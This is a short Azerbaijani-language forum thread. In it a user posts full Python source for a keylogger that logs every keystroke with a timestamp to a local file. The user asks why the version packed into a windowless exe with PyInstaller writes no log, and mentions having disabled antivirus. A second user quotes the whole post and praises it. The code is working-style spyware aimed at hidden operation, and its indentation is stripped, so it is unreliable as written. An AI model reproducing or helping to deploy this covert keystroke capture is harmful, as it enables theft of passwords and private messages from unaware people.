Python ilə keylogger





skybyte

İstifadəçi
İsmarıclar
4
Reaksiya xalı
1
Qoşuldu
27 Apr 2025
  1 aylıq istifadəçi
Məkan
Azərbaycan
Salam.Python ilə keylogger elədim.vs code run eleikde problemsiz işləyir.Exe çıxartıb pyinstaller ilə (pyinstaller --onefile --noconsole main.py) eledikdən sonra exe proqramını açdıqda Task managerde(Görev Yöneticisi) işləyir.Ancaq keylogger olaraq log.txt faylına məlumat vermir.Çox yolu yoxladım Antivirus bağlamaq vəya exe,ni dist faylınindan çıxarmaq və s.Çox üsulu elədim amma olmadı yenə.Anlayanlar üçün kodu aşağıya qoyuram.Sadə python keylogger kodudur.


from pynput import keyboard
from datetime import datetime
import os

script_dir = os.path.dirname(os.path.abspath(__file__))
log_path = os.path.join(script_dir, "log.txt")

def on_press(key):
try:
key_str = key.char
except AttributeError:
key_str = str(key)

time_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
with open(log_path, "a", encoding="utf-8") as log_file:
log_file.write(f"[{time_now}] {key_str}\n")

with keyboard.Listener(on_press=on_press) as listener:
listener.join()

.py olaraq istənilən proqramda işləyir amma .exe olaraq log.txt fayl yaratmır
 




F-19

Gold
İsmarıclar
74
Reaksiya xalı
108
Qoşuldu
7 Avq 2023
Yaş
24
  2 illik istifadəçi
Məkan
Baku
Salam.Python ilə keylogger elədim.vs code run eleikde problemsiz işləyir.Exe çıxartıb pyinstaller ilə (pyinstaller --onefile --noconsole main.py) eledikdən sonra exe proqramını açdıqda Task managerde(Görev Yöneticisi) işləyir.Ancaq keylogger olaraq log.txt faylına məlumat vermir.Çox yolu yoxladım Antivirus bağlamaq vəya exe,ni dist faylınindan çıxarmaq və s.Çox üsulu elədim amma olmadı yenə.Anlayanlar üçün kodu aşağıya qoyuram.Sadə python keylogger kodudur.


from pynput import keyboard
from datetime import datetime
import os

script_dir = os.path.dirname(os.path.abspath(__file__))
log_path = os.path.join(script_dir, "log.txt")

def on_press(key):
try:
key_str = key.char
except AttributeError:
key_str = str(key)

time_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
with open(log_path, "a", encoding="utf-8") as log_file:
log_file.write(f"[{time_now}] {key_str}\n")

with keyboard.Listener(on_press=on_press) as listener:
listener.join()

.py olaraq istənilən proqramda işləyir amma .exe olaraq log.txt fayl yaratmır
eline sagliq
 
Üst Alt